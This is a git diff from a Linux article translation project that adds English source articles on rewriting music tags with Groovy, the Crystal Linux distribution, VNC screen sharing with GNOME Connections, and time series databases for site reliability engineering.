def year = tagBody.getFirst(FieldKey.YEAR) +37            if (!albumArtist) albumArtist = artist +38            if (!albumArtistSort) albumArtistSort = albumArtist +39            if (!artistSort) artistSort = artist +40            if (!composerSort) composerSort = composer +41            if (!titleSort) titleSort = title +42            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.ALBUM|${album}" +43            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.ALBUM_ARTIST|${albumArtist}" +44            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.ALBUM_ARTIST_SORT|${albumArtistSort}" +45            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.ARTIST|${artist}" +46            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.ARTIST_SORT|${artistSort}" +47            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.COMPOSER|${composer}" +48            println "${artistDir.name}|${albumDir.name}|${contentFile.name} +|FieldKey.COMPOSER_SORT|${composerSort}" +49            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.GENRE|${genre}" +50            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.TITLE|${title}" +51            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.TITLE_SORT|${titleSort}" +52            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.TRACK|${track}" +53            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.TRACK_TOTAL|${trackTotal}" +54            println "${artistDir.name}|${albumDir.name}|${contentFile.name}|FieldKey.YEAR|${year}" +55            def originalTagIdList = tagBody.fields.collect { +56                tagField -> tagField.id +57            } +58            originalTagIdList.each { tagFieldId -> +59                println "${artistDir.name}|${albumDir.name}|${contentFile.name}|${tagFieldId}|XXX" +60                if (tagFieldId != 'VENDOR') +61                    tagBody.deleteField(tagFieldId) +62            } +63            if (album) tagBody.setField(FieldKey.ALBUM, album) +64            if (albumArtist) tagBody.setField(FieldKey.ALBUM_ARTIST, albumArtist) +65            if (albumArtistSort) tagBody.setField(FieldKey.ALBUM_ARTIST_SORT, albumArtistSort) +66            if (artist) tagBody.setField(FieldKey.ARTIST, artist) +67            if (artistSort) tagBody.setField(FieldKey.ARTIST_SORT, artistSort) +68            if (composer) tagBody.setField(FieldKey.COMPOSER, composer) +69            if (composerSort) tagBody.setField(FieldKey.COMPOSER_SORT, composerSort) +70            if (genre) tagBody.setField(FieldKey.GENRE, genre) +71            if (title) tagBody.setField(FieldKey.TITLE, title) +72            if (titleSort) tagBody.setField(FieldKey.TITLE_SORT, titleSort) +73            if (track) tagBody.setField(FieldKey.TRACK, track) +74            if (trackTotal) tagBody.setField(FieldKey.TRACK_TOTAL, trackTotal) +75            if (year) tagBody.setField(FieldKey.YEAR, year) +76            af.commit()77        } +78      } +79    } +80  } +``` + +Lines 1-21 are already familiar. Note that my music directory defined in line 7 refers to a test directory though! + +Lines 22-23 get the tag body. + +Lines 24-36 get the fields of interest to me (but maybe not the fields of interest to you, so feel free to adjust for your own requirements!) + +Lines 37-41 adjust some values for missing ALBUM_ARTIST and sort order. + +Lines 42-54 print out each tag field key and adjusted value for posterity. + +Lines 55-57 get the list of all tag field IDs. + +Lines 58-62 prints out each tag field id *and deletes it*, with the exception of the VENDOR tag field ID. + +Lines 63-75 set the desired tag field values using the known tag field keys. + +Finally, line 76 *commits the changes to the file*. + +The script produces output that can be imported into a spreadsheet. + +I'm just going to mention one more time that this script alters music tags! It is very important to have a backup of the music collection so that when you discover you've deleted an essential tag, or somehow otherwise trashed your music files, you can recover the backup, modify the script, and rerun it. + +### Check the results with this Groovy script + +I have a handy little Groovy script to check the results: + +``` +1        @Grab('net.jthink:jaudiotagger:3.0.1') +2        import org.jaudiotagger.audio.* +3        import org.jaudiotagger.tag.* +  +4        def logger = java.util.logging.Logger.getLogger('org.jaudiotagger'); +5        logger.setLevel(java.util.logging.Level.OFF); +  +6        // Define the music libary directory +  +7        def musicLibraryDirName = '/work/Test/Music' +  +8        // Print the CSV file header +  +9        println "artistDir|albumDir|tagField.id|tagField.toString()" +  +10        // Iterate over each directory in the music libary directory +11        // These are assumed to be artist directories +  +12        new File(musicLibraryDirName).eachDir { artistDir -> +  +13            // Iterate over each directory in the artist directory +14            // These are assumed to be album directories +  +15            artistDir.eachDir { albumDir -> +  +16                // Iterate over each file in the album directory +17                // These are assumed to be content or related +18                // (cover.jpg, PDFs with liner notes etc) +  +19                albumDir.eachFile { contentFile -> +  +20                    // Analyze the file and print the analysis +  +21                    if (contentFile.name ==~ /.*\.(flac|mp3|ogg)/) { +22                        def af = AudioFileIO.read(contentFile) +23                        af.tag.fields.each { tagField -> +24                            println "${artistDir.name}|${albumDir.name}|${tagField.id}|${tagField.toString()}" +25                        } +26                    } +  +27                } +28            } +29        } +``` + +This should look pretty familiar by now! + +Running it produces results like this before running the fixer script in the previous section: + +``` +St Germain|Tourist|VENDOR|reference libFLAC 1.1.4 20070213 +St Germain|Tourist|TITLE|Land Of... +St Germain|Tourist|ARTIST|St Germain +St Germain|Tourist|ALBUM|Tourist +St Germain|Tourist|TRACKNUMBER|04 +St Germain|Tourist|TRACKTOTAL|09 +St Germain|Tourist|GENRE|Electronica +St Germain|Tourist|DISCID|730e0809 +St Germain|Tourist|MUSICBRAINZ_DISCID|jdWlcpnr5MSZE9H0eibpRfeZtt0- +St Germain|Tourist|MUSICBRAINZ_SORTNAME|St Germain +``` + +Once the fixer script is run, it produces results like this: + +``` +St Germain|Tourist|VENDOR|reference libFLAC 1.1.4 20070213 +St Germain|Tourist|ALBUM|Tourist +St Germain|Tourist|ALBUMARTIST|St Germain +St Germain|Tourist|ALBUMARTISTSORT|St Germain +St Germain|Tourist|ARTIST|St Germain +St Germain|Tourist|ARTISTSORT|St Germain +St Germain|Tourist|GENRE|Electronica +St Germain|Tourist|TITLE|Land Of... +St Germain|Tourist|TITLESORT|Land Of... +St Germain|Tourist|TRACKNUMBER|04 +St Germain|Tourist|TRACKTOTAL|09 +``` + +That's it! Now I just have to work up the nerve to run my fixer script on my full music library… + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/groovy-script-music-tags + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming-code-keyboard-laptop-music-headphones.png +[2]: https://opensource.com/article/22/8/groovy-script-java-music +[3]: https://opensource.com/article/22/8/analyze-music-files-jaudiotagger +[4]: https://opensource.com/article/22/8/groovy-scripting-analyzing-music-directory-part-3 +[5]: https://opensource.com/article/22/8/remove-files-music-directory-groovy +[6]: http://jthink.net/jaudiotagger/index.jsp +[7]: https://opensource.com/article/21/9/libreoffice-tips +[8]: https://opensource.com/article/20/12/onlyoffice-docs +[9]: https://opensource.com/sites/default/files/2022-08/creenshot%20of%20first%20few%20rows%20of%20tagAnalysis5b.csv%20in%20LibreOffice%20Calc.png +[10]: http://www.jthink.net/jaudiotagger/javadoc/index.html +[11]: http://www.jthink.net/jaudiotagger/javadoc/index.html diff --git a/sources/tech/20220830 Crystal Linux- Emerging Arch Linux Spin for GNOME Fans.md b/sources/tech/20220830 Crystal Linux- Emerging Arch Linux Spin for GNOME Fans.md new file mode 100644 index 0000000000..322f4eb503 --- /dev/null +++ b/sources/tech/20220830 Crystal Linux- Emerging Arch Linux Spin for GNOME Fans.md @@ -0,0 +1,143 @@ +[#]: subject: "Crystal Linux: Emerging Arch Linux Spin for GNOME Fans" +[#]: via: "https://www.debugpoint.com/crystal-linux-first-look/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Crystal Linux: Emerging Arch Linux Spin for GNOME Fans +====== +Meet Crystal Linux, a unique Arch Linux Spin with stock GNOME experience. + +### Introduction + +Often I think that we have sufficient Linux distros already. The count is nearing thousands, and fragmentation is at its peak. That is not good for quality software, especially in the open-source space. + +There is always a distro available for every use case you can think of. + +But Arch Linux is one of the sectors, it’s still emerging – just because of its debatable [complex installation methods][1]. That’s why most of the emerging Arch Linux distributions (such as [Xero Linux][2], [Hefftor Linux][3], Mabox, etc.) try to invent something unique in installation and other areas. + +Crystal Linux is one of those distros with a different take on installation while being super user-friendly. + +![Crystal Linux Desktop with GNOME 42][4] + +### Crystal Linux: First Look + +Before you read on, you should know that it’s a new distro (less than a year old) currently under development. So use it with caution. + +At first glance, it will feel like a stock GNOME installation, similar to the Fedora workstation. That’s true. With the Arch Linux base and stock GNOME – the performance is top-notch. Although I tried it on a virtual machine, I feel the GNOME and Arch combination performs much better than the Fedora workstation in the same virtual machine setup. + +With that said, no such different customization is available apart from those coming with GNOME. Honestly, GNOME doesn’t require any additional customization for its default settings. Looks wise it’s good enough. + +### What’s unique about Crystal Linux? + +#### jade Installer for Arch + +The most important offering is its own installer called “[jade][5]“. Crystal Linux team created a GTK4/libadwaita and Rust-based installer to give you a streamlined experience for Arch installation. + +And it looks fantastic (see the below images). + +![jade installer][6] + +![selecting desktop to install][7] + +![installation][8] + +The jade installer reminds me of GNOME’s Tour app, but here it uses a similar principle for installation. Basic information such as Keyboard, region, and names/passwords are captured via a series of screens. + +Then you get to choose the desktop environment you want to install. The default version is GNOME; however, you have the option to install all the famous desktops and window managers. + +One unique feature of this new installer is that you get options to set up ipv6 and Timeshift restore points. + +The partition wizard is currently under development with custom partitioning via this app or GParted as options. Here’s a mockup of the partition module under development (from [Twitter][9]). + +![jade with additional options - mockup][10] + +Finally, a summary for you before you install this distro/Arch Linux. The installation executes a script at the back end for Arch installation. + +#### Onyx – custom GNOME experience (with Budgie?) + +From GitHub, I found that there is a customized desktop for base install named [Onyx][11]. Although I am not sure how it fits into this desktop, it also has a Budgie desktop component. Since there is no documentation as such, I guess we need to wait until a stable release. + +![Not sure how Onyx is working in the backend][12] + +#### Amethyst – New AUR Helper + +Do we really need another AUR helper? The [Yay helper][13] is awesome already. + +Anyways. + +The Crystal Linux also features a homegrown AUR helper and pacman Wrapper called [amethyst][14]. As the dev says, you can install it to any Arch-based distros. Amethyst comes with the command line option “ame” which you can use with standard pacman switches. + +![ame terminal command][15] + +#### Btrfs file system by default + +One of the best features of this distro is the default btrfs file system during installation. Although the current work is ongoing for the additional file system, btrfs as default has its own advantages for backup and restoration. + +I don’t remember any other Arch-spin that has btrfs as default. + +#### Applications and Packages + +Since it is a stock GNOME-based distro, no additional applications are installed. So, you need to spend some time configuring with necessary apps such as LibreOffice, GIMP, Media players, etc. + +Firefox and native GNOME apps are available in the default installation. + +Crystal Linux seems to deploy the core packages from their own server, NOT from the Arch repo. Hence, some features may arrive a little late for updating the desktop and such. + +### Performance + +Arch Linux always performs well, in my experience. All the popular desktops such as KDE, GNOME, Xfce – all of them somehow feel faster than in Ubuntu/Fedora. + +With that said, the current GNOME 42 version in Crystal Linux is swift. The window animations and gestures feel smooth even in a virtual machine. There is no lag whatsoever. + +![Crystal Linux - Performance][16] + +Memory footprint is extremely low at 530 MB at idle. Most of the idle state CPUs are consumed by gnome-shell and systemd services. + +Default GNOME desktop install takes only 3.8 GB of disk space. + +### Wrapping up + +The jade installer and btrfs file system are two major highlights of Crystal Linux. Since most of the Arch-based distros follow Calamares installer, it’s good to see a new installer in this space. And it’s really user-friendly. + +The distro is just a few months old and has a long road ahead. I strongly believe it will give a competition to the currently famous Arch distro [EndeavourOS][17]. And the fans get to experience vanilla GNOME with Arch without the hassles of [installing Arch with GNOME][18]. + +You can download the current ISO from the [official website][19]. As I mentioned earlier, use it with caution since it is under development. + +So, what are your thoughts about this distro? What are your favourite features? Do let me know in the comment box. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/crystal-linux-first-look/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/install-arch-linux/ +[2]: https://www.debugpoint.com/xerolinux-review/ +[3]: https://www.debugpoint.com/hefftor-linux-review/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/08/Crystal-Linux-Desktop-with-GNOME-42-1024x579.jpg +[5]: https://github.com/crystal-linux/jade +[6]: https://www.debugpoint.com/wp-content/uploads/2022/08/jade-installer.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/08/selecting-desktop-to-install.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/08/installation.jpg +[9]: https://twitter.com/Crystal_Linux/status/1564379291529482240 +[10]: https://www.debugpoint.com/wp-content/uploads/2022/08/jade-with-additional-options-mockup-1024x576.jpg +[11]: https://github.com/crystal-linux/onyx +[12]: https://www.debugpoint.com/wp-content/uploads/2022/08/Not-sure-how-Onyx-is-working-in-the-backend-1024x576.jpg +[13]: https://www.debugpoint.com/install-yay-arch/ +[14]: https://github.com/crystal-linux/amethyst +[15]: https://www.debugpoint.com/wp-content/uploads/2022/08/ame-terminal-command-1024x576.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2022/08/Crystal-Linux-Performance-1024x576.jpg +[17]: https://www.debugpoint.com/tag/endeavouros +[18]: https://www.debugpoint.com/gnome-arch-linux-install/ +[19]: https://getcryst.al/ \ No newline at end of file diff --git a/sources/tech/20220830 Share screens on Linux with GNOME Connections.md b/sources/tech/20220830 Share screens on Linux with GNOME Connections.md new file mode 100644 index 0000000000..e32ce09ef2 --- /dev/null +++ b/sources/tech/20220830 Share screens on Linux with GNOME Connections.md @@ -0,0 +1,138 @@ +[#]: subject: "Share screens on Linux with GNOME Connections" +[#]: via: "https://opensource.com/article/22/8/share-screens-linux-gnome-connections" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Share screens on Linux with GNOME Connections +====== +Discover the power of VNC for screen sharing on Linux. + +When someone needs to share their screen with you, or you need to share your screen with someone else, you have several options to choose from. Video conferencing software, like the open source [Jitsi][2] web app, and while we call that "screen sharing," it's really *presenting*. You're presenting your screen to others, but they can't interact with it. Sometimes you actually want to share your screen and your mouse cursor with a trusted friend or colleague, and the tool for that is VNC (Virtual Network Computing), and it's built into your Linux desktop. + +In any screen sharing scenario, there are two computers and possibly two users. For that reason, this article has two parts. The first part is for the person setting up their computer to *accept* screen sharing requests, and the second part is for the person trying to connect to *someone else's* screen. + +### Share my screen on Linux + +If you're reading this section, you're the person who needs technical help from a friend, and you want to allow your friend to connect to your screen. You need to configure your desktop to allow screen sharing. + +On the GNOME desktop, open the **Settings** application from the **Activities** menu. In the **Settings** window, click on **Sharing**. In the **Sharing** window, click on **Screen Sharing**. + +In the **Screen Sharing** window that appears, you have two choices. + +You can set a password so the person connecting to your screen must enter a password to connect. This is convenient when you don't expect to be around the computer when your friend plans on viewing your screen. + +You can require a notification so that when someone attempts to connect, you're prompted to let them in (or not.) + +![GNOME screen sharing settings][3] + +If you're on the [KDE Plasma Desktop][4], then the application to configure screer sharing is called **krfb** (it stands for "Remote Frame Buffer", the protocol used by VNC). It's the exact same concept, just with a different layout. + +![KDE screen sharing][5] + +### Firewall + +Normally, your computer's internal firewall keeps people out of your computer. It does that by indiscriminately blocking incoming all connections. In this case, though, you want to permit one kind of traffic, so you need to open a port in your firewall. + +On Fedora, CentOS, Mageia, and many other Linux distributions, you have a firewall whether you know it or not. You may not yet have an app to help you configure your firewall, though. To install the default firewall configuration application, launch GNOME **Software** and search for *firewall*. + +Once it's installed, launch the Firewall configuration application and scroll through the (very long) list of services to find and enable **vnc-server**. + +![Firewalld configuration][6] + +After adding `vnc-server`, open the **Options** menu and select **Runtime to permanent** so your new rule persists even after you reboot. + +On Debian, Ubuntu, Linux Mint, and others, you may be running a firewall called **ufw**, so install **gufw** instead. In **gufw**, click the plus (**+**) icon at the bottom of the **Rules** tab to add a new rule. In the **Add a new firewall rure** window that appears, search for `vnc` and click the **Add** button. + +![ufw configuration][7] + +Your computer is now configured to accept VNC requests. You can skip down to the [troubleshooting] section. + +### Viewing a shared screen + +If you're reading this section, you're the person providing technical help from afar. You need to connect to a friend or colleague's computer, view their screen, and even control their mouse and keyboard. There are many applications for that, including **TigerVNC**, KDE's **krdc**, and GNOME **Connections**. + +### GNOME Connections + +On your local computer, install the GNOME **Connections** application from GNOME **Software**, or using your package manager: + +``` +$ sudo dnf install gnome-connections +``` + +In GNOME **Connections**, click the plus (**+**) icon in the top left to add a destination host. Select the VNC protocol, and enter the user name and host or IP address you want to connect to, and then click the **Connect** button. + +![GNOME Connections][8] + +If the user you're connecting to has had to create a new port for the purposes of port forwarding, then you must append the non-default port to the address. For instance, say your target user has created port 59001 to accept VNC traffic, and their home router address is 93.184.216.34. In this case, you enter `username@93.184.216.34:59001` (where `username` is the user's actual user name.) + +If the user of the remote system has required a password for VNC, then you're prompted for a password before the connection is made. Otherwise, the user on the remote machine receives an alert asking whether they want to allow you to share their screen. As long as they accept, the connection is made and you can view and even control the mouse and keyboard of the remote host. + +### Troubleshoooting screen sharing on Linux + +Outside of the work environment, it's common that the user wanting to share their screen and the person who needs to see it are on different networks. You're probably at home, with a router that connects you to the Internet (it's the box you get from your ISP when you pay your Internet bill). Your router, whether you realize it or not, is designed to keep unwanted visitors out. That's normally very good, but in this one special case, you want to let someone trusted through so they can connect to your screen. + +To let someone into your network, you have to configure your router to allow traffic at a specific "port" (like a ship port, but for packets of data instead of cargo), and then configure that traffic to get forwarded on to your personal computer. + +Unfortunately, there's no *single* way that this is done. Every router manufacturer does it a little differently. That means I can't guide you through the exact steps required, because I don't know what router you have, but I can tell you what information you need up front, and what to look for once you're poking around your router. + +#### 1. Get your local IP address + +You need to know your computer's network IP address. To get that, open GNOME **Settings** and click on **Wi-Fi** in the left column (or **Network** if you're on a wired connection.) In the **Wi-Fi** panel, click the gear icon and find **IPv4 Adress** in the **Details** window that appears. A local IP address starts with 192.168 or 10. + +For example, my network IP address is 10.0.1.2. Write down your notwork IP address for later. + +#### 2. Get your public IP address + +Click this link to obtain your public IP address: [http://ifconfig.me][9] + +For example, my public IP address is 93.184.216.34 Write down your public IP address for later. + +#### 3. Configure your router + +Router interfaces differ from manufacturer to manufacturer, but the idea is the same regardless of what brand of router you have in your home. First, log in to your router. The router's address and login information is often printed on the router itself, or in its documentation. I own a TP-Link GX90 router, and I log in to it by pointing my web browser to 10.0.1.1, but your router might be 192.168.0.1 or some other address. + +My router calls port forwarding "Virtual servers," which is a category found in the router's **NAT forwarding** tab. = Other routers may just call it **Port forwarding** or **Firewall** or even **Applications**. It may take a little clicking around to find the right category, or you may need to spend some time studying your router's documentation. + +When you find the port forwarding setting (whatever it might be titled in your router), you need to add a new rule that identifies an external port (I use 59001) and sends traffic that arrives at it to an internal one (5900 is the standard VNC port.) + +In step 1, you obtained your network IP address. Use it as the destination for traffic coming to port 59001 of your router. Here's an example of what my router configuration looks like, but yours is almost sure to be different: + +![router configuration][10] + +This configuration sends traffic arriving at external port 59001 to 10.0.1.2 at port 5900, which is precisely what VNC requires. + +Now you can tell the friend you're trying to share your screen with to enter your *public* IP address (in this example, that's 93.184.216.34) and port 59001. + +### Linux screen sharing and trust + +Only share control of your screen with someone you trust. VNC can be complex to setup because there are security and privacy concerns around giving someone other than yourself access to you computer. However, once you've got it set up, you have instant and easy access to sharing your screen when you want to share something cool you're working on, or get help with something that's been confusing you. + +Image by: (Seth Kenlon, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/share-screens-linux-gnome-connections + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/chat_video_conference_talk_team.png +[2]: https://opensource.com/article/20/5/open-source-video-conferencing +[3]: https://opensource.com/sites/default/files/2022-08/Screenshot%20from%202022-08-11%2019-47-19.png +[4]: https://opensource.com/article/22/2/screen-share-linux-kde +[5]: https://opensource.com/sites/default/files/2022-08/kde-desktop-sharing.webp +[6]: https://opensource.com/sites/default/files/2022-08/Screenshot%20from%202022-08-11%2020-09-19.png +[7]: https://opensource.com/sites/default/files/2022-08/gufw-vnc.png +[8]: https://opensource.com/sites/default/files/2022-08/Screenshot%20from%202022-08-12%2005-11-10.png +[9]: http://ifconfig.me +[10]: https://opensource.com/sites/default/files/2022-08/router-port-forward.webp diff --git a/sources/tech/20220830 Why We Need Time Series Databases for Site Reliability Engineering.md b/sources/tech/20220830 Why We Need Time Series Databases for Site Reliability Engineering.md new file mode 100644 index 0000000000..aa208d59e7 --- /dev/null +++ b/sources/tech/20220830 Why We Need Time Series Databases for Site Reliability Engineering.md @@ -0,0 +1,148 @@ +[#]: subject: "Why We Need Time Series Databases for Site Reliability Engineering" +[#]: via: "https://www.opensourceforu.com/2022/08/why-we-need-time-series-databases-for-site-reliability-engineering/" +[#]: author: "K. Narasimha Sekhar https://www.opensourceforu.com/author/k-narasimha-sekhar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why We Need Time Series Databases for Site Reliability Engineering +====== + +It’s not uncommon to deal with petabytes of data today, even when carrying out traditional types of analysis and reporting. Traditional databases, however, do not offer optimal mechanisms to store and retrieve large scale time series data. To meet the demand of time series analysis, new types of databases are emerging. + +### Real-world use cases + +Time series data streams are gathered in many real-world scenarios. The volume of data and the velocity of data generation differ from case to case. + +Typical scenarios from different fields are described below. + +* Monitoring data gathered as part of site reliability engineering: Health, performance, and capacity parameters are collected periodically over time from various layers of infrastructure and applications. These time series data streams are analysed for anomalies, fault detection, forecasting, etc. Huge amounts of time series data need to be analysed in real-time to avoid service breakdowns and for quick recovery. This data is also stored and retrieved for processing later, such as capacity forecasting. +* IoT devices and sensors generate continuous streams of data. +* Autonomous trading algorithms continuously collect data on how the markets are changing in order to optimise returns. +* The retail industry collects and monitors supply chain and inventory data to optimise costs. +* Weather forecasting teams continuously collect climate parameters such as temperature, humidity, etc, for predictions. +* Autonomous vehicles continuously collect data about how their environment is changing, adjusting the drive based on weather conditions, engine status, and countless other variables. +* In the medical field, sensors generate time data streams for blood pressure tracking, weight tracking, cholesterol measurements, heart rate monitoring, etc. + +There are numerous real-world scenarios where we collect time series data streams. These demand an efficient database for storing and retrieving time series data. + +![Figure 1: Alerting engine based on time series data analysis][1] + +### Time series data analysis + +Time series data is a sequence of data points collected over time intervals, giving us the ability to track changes over time. Because data points in time series are collected at adjacent time periods, the observations can be correlated. This feature distinguishes time series data from traditional data. Time series data can be useful to help recognise patterns or a trend. Knowing the value of a specific parameter at the current time is quite different than the ability to observe its behaviour over a long time interval. Time series data allows us to measure and analyse change — what has changed in the past, what is changing in the present, and what changes may take place in the future. Time series data can track changes over milliseconds, days, or even years. Table 1 outlines the typical questions that time series analysis can help to answer. + +| Category | Typical questions to be addressed | +| :- | :- | +| Prognostication | What are the short- and long-term trends for a measurement or group of measurements? | +| Introspection | How do several measurements correlate over a period of time? | +| Prediction | How do I build a machine learning model based on the temporal behaviour of many measurements correlated to externally known facts? | +| Introspection | Have similar patterns of measurements preceded similar events? | +| Diagnosis | What measurements might indicate the cause of some event, such as a system failure? | +| Forecasting | How many more servers will be needed for handling next quarter’s workload? | +| Segmentation | How to divide a data stream into a sequence of discrete segments in order to reveal the underlying properties of its source? | + +Typical steps in time series data analysis are: + +* Collecting the data and cleaning it +* Visualising with respect to time vs key feature +* Observing the stationarity of the series +* Developing charts to understand the nature of the data +* Model building such as AR, MA, ARMA and ARIMA +* Extracting insights from the predictions + +There are three components of time series analysis — trend, seasonality and residual analysis. + +*Trend:* This indicates the direction in which the data is moving over a period of time. + +*Seasonality:* Seasonality is about periodic behaviour — spikes or drops caused by different factors like: + +* Naturally occurring events like weather fluctuations +* Business or administrative procedures like the start or end of a fiscal year +* Social and cultural behaviour like holidays or festivals +* Calendar events, like the number of Mondays per month or holidays that change every year + +*Residual analysis:* These are the irregular fluctuations that cannot be predicted using trend or seasonality analysis. + +An observed data stream could be additive (trend + seasonality + residual) or multiplicative (trend * seasonality * residual). + +Once these components are identified, models are built to understand time series and check for anomalies, forecasting and correlations. For time series data modelling, AR, MA, ARMA and ARIMA algorithms are widely adopted. Many other advanced AI/ML algorithms are being proposed for better evaluation. + +### Time series databases + +A time series database (TSDB) is a database optimised for time-stamped or time series data. Time series data is simply measurements or events that are tracked, monitored, down sampled, and aggregated over time. These could be server metrics, application performance monitoring, network data, sensor data, events, clicks, trades in a market, and many other types of analytics data. + +Looking back 10 years, the amount of data that was once collected in 10 minutes for some very active systems is now generated every second. To process these high volumes, we need different tools and approaches. + +To design an optimal TSDB, we must analyse the properties of time series data, and the demands of time series analysis applications. The typical characteristics of time series data and its use cases are: + +* Time series is a sequence of values, each with a time value indicating when the value was recorded. +* Time series data entries are rarely amended. +* Time series data is often retrieved by reading a contiguous sequence of samples. +* Most of the time, we collect and store multiple time series. Queries to retrieve data from one or a few time series for a particular time range are very common. +* The volume and velocity of time series data is very high. +* Both long-term and short-term trends in the time series are very important for analysis. +* Summarising or aggregating high volume time series data sets is a very basic requirement. +* Traditional DB operations such as searching, sorting, joining tables, etc, are not required. + +Properties that make time series data very different from other data workloads are data life cycle management, summarisation, and large range scans of many records. TSDB is designed to simplify and strengthen the process for real-world time series applications. + +Storing time series data in flat files limits its utility. Data will outgrow these and the access is inefficient. Traditional RDBMS databases are not designed from the ground up for time series data storage. They will not scale well to handle huge volumes of time series data. Also, the schema is not appropriate. Getting a good performance for time series from an SQL database requires significant customisation and configuration. Without that, unless you’re working with a very small data set, an SQL-based database will simply not work properly. A NoSQL non-relational database is preferred because it scales well and efficiently to enable rapid queries based on time range. + +![Figure 2: Time series analytics engine on AWS Cloud][2] + +A TSDB is optimised for best performance for queries based on a range of time. New NoSQL non-relational databases come with considerable advantages (like flexibility and performance) over traditional relational databases (RDBMS) for this purpose. NoSQL databases and relational databases share the same basic goals: to store and retrieve data and to coordinate changes. The difference is that NoSQL databases trade away some of the capabilities of relational databases in order to improve scalability. The benefits of making this trade include greater simplicity in the NoSQL database, the ability to handle semi-structured and denormalised data and, potentially, much higher scalability for the system. + +At very large scales, time-based queries can be implemented as large, contiguous scans that are very efficient if the data is stored appropriately in a time series database. And if the amount of data is very large, a non-relational TSDB in a NoSQL system is typically needed to provide sufficient scalability. + +Non-relational time series databases enable discovery of patterns in time series data, long-term trends, and correlations between data representing different types of events. The time ranges of interest extend in both directions. In addition to the very short time-range queries, long-term histories for time series data are needed, especially to discover complex trends. + +Time series databases have key architectural design properties that make them very different from other databases. These include time-stamp data storage and compression, data life cycle management, data summarisation, the ability to handle large time series-dependent scans of many records, and time series aware queries. + +For example, with a time series database, it is common to request a summary of data over a large time period. This requires going over a range of data points to perform computations like a percentile increase this month of a metric over the same period in the last six months, summarised by month. This kind of workload is very difficult to optimise for with a distributed key value store. TSDBs are optimised for exactly this use case and can give millisecond-level responses over months of data. Here is another example. With time series databases, it’s common to keep high precision data around for a short period of time. This data is aggregated and down sampled into long-term trend data. This means that for every data point that goes into the database, it will have to be deleted after its period of time is up. This kind of data life cycle management is difficult for application developers to implement in regular databases. They must devise schemes for cheaply evicting large sets of data and constantly summarising that data at scale. With a time series database, this functionality is provided out-of-the-box. + +Since time series data comes in time order and is typically collected in real-time, time series databases are immutable and append-only to accommodate extremely high volumes of data. This append-only property distinguishes time series databases from relational databases, which are optimised for transactions but only accommodate lower ingest volumes. In general, depending on their particular use case, NoSQL databases will trade off the ACID principles for a BASE model (whose principles are basic availability, soft state and eventual consistency). For example, one individual point in a time series is fairly useless in isolation, and the important thing is the trend in total. + +### Alerts based on time series data analysis for site reliability + +Time series data models are very common in site reliability engineering. Time series analysis is used to monitor system health, performance, anomaly detection, security threat detection, inventory forecasting, etc. Figure 1 shows a typical alerting mechanism based on analysing time series data collected from different components. + +Modern data centres are complex systems with a variety of operations and analytics taking place around the clock. Multiple teams need access at the same time, which requires coordination. In order to optimise resource use and manage workloads, systems administrators monitor a huge number of parameters with frequent measurements for a fine-grained view. For example, data on CPU usage, memory residency, IO activity, levels of disk storage, and many other parameters are all useful to collect as time series. + +Once these data sets are recorded as time series, data centre operations teams can reconstruct the circumstances that lead to outages, plan upgrades by looking at trends, or even detect many kinds of security intrusions by noticing changes in the volume and patterns of data transfer between servers and the outside world. + +### Open source TSDBs + +[Time series databases][3] are the fastest growing segment in the database industry. There are many commercial and open source time series databases available. A few well-known open source time series databases are listed below: + +* InfluxDB is one of the most popular time series open source databases, and is written in Go. It has been designed to provide a highly scalable data ingestion and storage engine. It is very efficient at collecting, storing, querying, visualising, and taking action on streams of time series data, events, and metrics in real-time. It uses InfluxQL, which is very similar to a structured query language, for interacting with data. +* Prometheus is an open source monitoring solution used to understand insights from metrics data and send the necessary alerts. It has a local on-disk time-series database that stores data in a custom format on disk. It provides a functional query language called PromQL. +* TimescaleDB is an open source relational database that makes SQL scalable for time series data. This database is built on PostgreSQL. +* Graphite is an all-in-one solution for storing and efficiently visualising real-time time series data. Graphite can store time series data and render 